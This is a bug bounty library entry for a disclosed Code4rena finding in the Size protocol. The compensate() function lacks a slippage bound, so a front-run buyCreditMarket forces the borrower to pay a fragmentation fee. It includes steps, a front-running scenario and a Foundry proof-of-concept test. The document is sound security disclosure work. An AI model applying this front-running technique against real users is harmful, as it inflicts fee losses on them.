# Users may incur an unexpected fragmentation fee in the compensate()  call

Size compensate() lacks a min-amount/slippage param, so a prior buyCreditMarket reducing the target credit position makes the borrower pay an unexpected fragmentation fee.

- Payout: Audit contest
- Severity: medium
- Program: Size
- Found by: mt030d
- Disclosed: 2024-09-16
- Write-up quality: 6/10
- Original: https://github.com/code-423n4/2024-06-size-findings/issues/197
- Library page: https://bugbountylibrary.com/r/c4%3A2024-06-size%3AM-05
- Tags: area:web3 domain:web3 impact:funds-loss kind:contest platform:code4rena sev:medium tech:evm tech:solidity technique:source-review vuln:business-logic

**Target:** Compensate.sol compensate() action in Size protocol
**Root cause:** CompensateParams has no minimum-amount/slippage field; amountToCompensate = min(params.amount, creditPositionWithDebtToRepay.credit), so if the repay-side credit shrank, exiterCreditRemaining > 0 and a fragmentation fee is charged unexpectedly.
**Steps:**
1. Set up borrower alice with a credit position (creditPositionToCompensateId) matching a debt-related credit position (creditPositionWithDebtToRepayId) of equal credit.
2. Baseline: call `_compensate(alice, creditPositionWithDebtToRepayId, creditPositionToCompensateId)` — fragmentation fee 0.
3. Before compensate, execute `_buyCreditMarket(james, creditPositionWithDebtToRepayId, 50e6, false)` reducing that position's credit.
4. Call `_compensate(...)` again; amountToCompensate < creditPositionToCompensate.credit, exiterCreditRemaining > 0, fragmentation fee (~3.7e15) transferred to feeRecipient.
**How found:** Code review of Compensate.sol: noticed amountToCompensate uses Math.min against the repay-side credit and that exiterCreditRemaining>0 triggers a fee, with no user-supplied slippage bound in CompensateParams.
**Exploitation:** A malicious actor front-runs the borrower's compensate() with a buyCreditMarket()/sellCreditMarket() that reduces credit in creditPositionWithDebtToRepayId, forcing the borrower to pay the fragmentation fee; no direct profit to attacker, fee goes to protocol.
**Insight:** When a function computes an amount via min() against mutable on-chain state and charges a fee on the residual, check whether the caller can bound the outcome; missing min-amount params are a recurring fee/slippage bug class in order-book style protocols.

## Proof of concept (copied exactly from the original report)

**Foundry PoC test showing unexpected fragmentation fee**

```
contract PoC is BaseTest {
    NonTransferrableToken collateralToken;

    function setUp() public override {
        super.setUp();
        _labels();

        DataView memory dataView = size.data();
        collateralToken = dataView.collateralToken;
        vm.label(address(collateralToken), "szWETH");

        _deposit(alice, weth, 100e18);
        _deposit(alice, usdc, 100e6);
        _deposit(bob, weth, 100e18);
        _deposit(bob, usdc, 100e6);
        _deposit(candy, weth, 100e18);
        _deposit(candy, usdc, 100e6);
        _deposit(james, weth, 100e18);
        _deposit(james, usdc, 100e6);
    }

    function test_it() public {

        _sellCreditLimit(alice, 0.03e18, 365 days);
        _buyCreditMarket(bob, alice, 100e6, 365 days, false);

        (, uint256 creditPositionCount) = size.getPositionsCount();
        uint256 creditPositionWithDebtToRepayId = CREDIT_POSITION_ID_START + creditPositionCount - 1;

        _sellCreditLimit(candy, 0.04e18, 365 days);
        _buyCreditMarket(alice, candy, 100e6, 365 days, false);
        (, creditPositionCount) = size.getPositionsCount();
        uint256 creditPositionToCompensateId = CREDIT_POSITION_ID_START + creditPositionCount - 1;

        uint256 snapshot = vm.snapshot();
        {
            uint256 beforeBalance = collateralToken.balanceOf(alice);
            _compensate(alice, creditPositionWithDebtToRepayId, creditPositionToCompensateId);
            uint256 afterBalance = collateralToken.balanceOf(alice);
            console.log("Scenario 1: borrower's expected compensate call");
            console.log("  fragmentation fee: %s", beforeBalance - afterBalance);
        }

        vm.revertTo(snapshot);
        _sellCreditLimit(bob, 0.04e18, 365 days);
        _buyCreditMarket(james, creditPositionWithDebtToRepayId, 50e6, false);
        {
            uint256 beforeBalance = collateralToken.balanceOf(alice);
            _compensate(alice, creditPositionWithDebtToRepayId, creditPositionToCompensateId);
            uint256 afterBalance = collateralToken.balanceOf(alice);
            console.log("Scenario 2: unexpected - a buyCreditMarket call executed before the compensate call");
            console.log("  fragmentation fee: %s", beforeBalance - afterBalance);
        }
    }
}
```

